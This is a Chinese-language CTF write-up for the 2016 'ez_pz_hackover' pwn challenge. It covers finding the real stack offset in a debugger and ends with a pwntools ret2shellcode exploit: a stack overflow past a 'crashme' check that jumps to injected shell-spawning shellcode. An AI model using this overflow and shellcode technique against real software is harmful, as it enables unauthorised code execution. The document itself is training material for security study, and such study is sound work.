这个题可以学到东西,值得看看:
总结:
- 动调计算实际栈大小(调用函数造成新的栈的开辟,esp到ebp不等于实际栈大小)
(对应环境16)
- ret2shellcode
checksec:
很好的啥保护都没有,可以shellcode,然后简单分析一下我们的程序:
这个v2感觉没什么好说的,这里也覆盖不到他的返回地址,这里进行了一层比较,v2满足“crashme\x00”才可以继续。
(\x00表示截断)
进入我们的vuln函数里面去:
这里很可能存在溢出了,这里可以控制我们返回地址的写入(当然这个题在这里打ret2libc也是可以的,但这里libc基地址不太好算(要不传统打法返回两次,这里返回打起来有点点麻烦没shellcode快))
接下来就是用上我们给出的那个地址,这样我们要写进去shellcode的地址也就知道了。但是这里有一个坑,上面对应的esp和ebp地址算出来其实不是我们实际上的栈的地址。
(这里其实我们有两个程序栈,一个是chall对应的栈,另一个是vuln对应的程序栈(这个理解成代码需要的内存空间),但这个算出来最后其实不是我们实际要覆盖的返回地址)
断点在vuln函数读完了之后:(nop这里)
看到这个时候的栈:
可以发现这里实际上对应的stack首地址不是我们要的那个,这里我们覆盖的地址大小需要自己重新计算:
实际上的栈大小:
(0x16)
所以这里我们回到的地址应该是在0x0xff8c1e90这个地址上,接下来我们有的地址是0xff8c1eac,怎么表示这个地址呢?0x0xff8c1e90-0xff8c1eac=0x1c,所以这个地址也就等于我们接收的地址+0x1c
然后就没了:
from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=process('./ez_pz_hackover_2016')
elf=ELF('./ez_pz_hackover_2016')
libc=ELF.libc
io.recvuntil(b'crash:')
buf_addr=io.recvline().strip()
buf_addr=int(buf_addr,16)
print(hex(buf_addr))
shellcode=asm(shellcraft.sh())
p1=(b'crashme\x00').ljust(0x16,b'a')+p32(0) #这里p32(0)是覆盖到返回地址
p1+=p32(buf_addr-0x1c)+shellcode #p32(buf_addr-0x1c)即0xff8c1eac,返回地址的后一位
#p1=b'crashme\x00'+b'aaaaaaaa'
io.sendafter(b'> ',p1)
io.interactive()